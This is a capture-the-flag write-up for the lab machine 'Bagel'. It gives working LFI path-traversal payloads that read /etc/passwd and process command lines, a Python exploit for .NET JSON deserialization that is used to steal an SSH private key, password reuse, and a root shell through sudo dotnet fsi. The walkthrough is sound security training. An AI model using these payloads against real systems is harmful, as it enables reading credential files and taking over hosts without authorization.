Bagel

Enumeration

Rustscan

sudo rustscan -t 1500 -b 1500 --ulimit 65000 -a 10.10.11.201 -- -sV -sC -oA ./{{ip}}

Ports

Open 10.10.11.201:22
Open 10.10.11.201:5000
Open 10.10.11.201:8000

Services

22/tcp   open  ssh      syn-ack ttl 63 OpenSSH 8.8 (protocol 2.0)
5000/tcp open  upnp?    syn-ack ttl 63
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 400 Bad Request
|     Server: Microsoft-NetCore/2.0
|_    Date: Tue, 07 Mar 2023 21:32:03 GMT
8000/tcp open  http-alt syn-ack ttl 63 Werkzeug/2.2.2 Python/3.10.9
|   GetRequest: 
|     HTTP/1.1 302 FOUND
|     Server: Werkzeug/2.2.2 Python/3.10.9
|     Date: Tue, 07 Mar 2023 21:31:58 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 263
|     Location: http://bagel.htb:8000/?page=index.html
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>Redirecting...</title>
|_    <h1>Redirecting...</h1>

Curl

curl -I 10.10.11.201:8000
HTTP/1.1 302 FOUND
Server: Werkzeug/2.2.2 Python/3.10.9
Date: Tue, 07 Mar 2023 21:33:01 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 263
Location: http://bagel.htb:8000/?page=index.html
Connection: close

Foothold

LFI

Checking the page I noticed the url http://bagel.htb:8000/?page=index.html which is a classic canditate for a local file inclusion

Verification

curl http://bagel.htb:8000/?page=/../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
developer:x:1000:1000::/home/developer:/bin/bash
phil:x:1001:1001::/home/phil:/bin/bash

Expose currently running app

curl http://bagel.htb:8000/?page=/../../../../../../proc/self/cmdline --output -
python3 /home/developer/app/app.py 

Source Code: app.py

curl http://bagel.htb:8000/?page=/../../../../../../home/developer/app/app.py --output -
...
@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
    try:
        ws = websocket.WebSocket()    
        ws.connect("ws://127.0.0.1:5000/") # connect to order app
        order = {"ReadOrder":"orders.txt"}
        data = str(json.dumps(order))
        ws.send(data)
        result = ws.recv()
        return(json.loads(result)['ReadOrder'])
    except:
        return("Unable to connect")
...

Finding the WebSocket DLL

# Gather cmdline content 
for i in $(seq 1 2500); do curl http://bagel.htb:8000/?page=../../../../../../proc/$i/cmdline --output - && echo -n "\n"; done >> ./cmdline_enum.log
..
dotnet /opt/bagel/bin/Debug/net6.0/bagel.dll
File not found
python3 /home/developer/app/app.py
/usr/sbin/irqbalance --foreground
/usr/sbin/mcelog --daemon --foreground
...

DLL Decompile & Deserialization

I used ILSpy to decompile the dll and check the source code

After digging deep into the code I realized that this could be a possible JSON .NET deserialization attack. That was something that is totally new to me and required a lot of research.

This article explained a lot and was helpful: Exploiting JSON serialization in .NET core

Identification

As you can see like mentioned in my linked article the TypeNameHandling is set to "4" instead of "None" which is safe and the default.

Value "4" can be linked to "Auto" as stated HERE

public object Deserialize(string json)
{
  try
  {
    JsonSerializerSettings val = new JsonSerializerSettings();
    val.set_TypeNameHandling((TypeNameHandling)4);
    return JsonConvert.DeserializeObject<Base>(json, val);
  }
  catch
  {
    return "{\"Message\":\"unknown\"}";
  }
}

To keep the post short I won't go deeper into that, as I myself haven't fully understood the concept yet and just post the exploit code

Exploit

import sys
import json
import websocket

ws = websocket.WebSocket()
ws.connect("ws://bagel.htb:5000/") # connect to order app
order = {"RemoveOrder": {"$type": "bagel_server.File, bagel", "ReadFile": f"../../../../../..{sys.argv[1]}"}}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
print(json.loads(result)["RemoveOrder"]["ReadFile"])

SSH-Access: Phil

Using my exploit I was able to get the private key of phil and access the server.

python3 des.py /home/phil/.ssh/id_rsa >> id_rsa
chmod 600 id_rsa
ssh -i id_rsa phil@bagel.htb

Password Reuse: Developer

That's an easy one. During enumeration of the application I was able to spot credentials for a database. Using that password I was able to become the user Developer.

[Obsolete("The production team has to decide where the database server will be hosted. This method is not fully implemented.")]
public void DB_connection()
{
        //IL_0008: Unknown result type (might be due to invalid IL or missing references)
        //IL_000e: Expected O, but got Unknown
        string text = "Data Source=ip;Initial Catalog=Orders;User ID=dev;Password=CENSORED";
        SqlConnection val = new SqlConnection(text);
        string text2 = "INSERT INTO orders (Name,Address,Count,Type) VALUES ('Eliot','Street',4,'Baggel')";
}

Escalation

Local Enumeration

Since we were able to escalate from phil to developer without any problems it's time to enumerate.

sudo -l
Uer developer may run the following commands on bagel:
    (root) NOPASSWD: /usr/bin/dotnet

Root

Used the method described here to become root gtfobins - dotnet

[developer@bagel app]$ sudo /usr/bin/dotnet fsi

Welcome to .NET 6.0!
---------------------
SDK Version: 6.0.113

----------------
Installed an ASP.NET Core HTTPS development certificate.
To trust the certificate run 'dotnet dev-certs https --trust' (Windows and macOS only).
Learn about HTTPS: https://aka.ms/dotnet-https
----------------
Write your first app: https://aka.ms/dotnet-hello-world
Find out what's new: https://aka.ms/dotnet-whats-new
Explore documentation: https://aka.ms/dotnet-docs
Report issues and find source on GitHub: https://github.com/dotnet/core
Use 'dotnet --help' to see available commands or visit: https://aka.ms/dotnet-cli
--------------------------------------------------------------------------------------

Microsoft (R) F# Interactive version 12.0.0.0 for F# 6.0
Copyright (c) Microsoft Corporation. All Rights Reserved.

For help type #help;;

> System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;
sh-5.2# whoami
root
sh-5.2# cd /root
sh-5.2# ls
anaconda-ks.cfg  bagel  root.txt

Last updated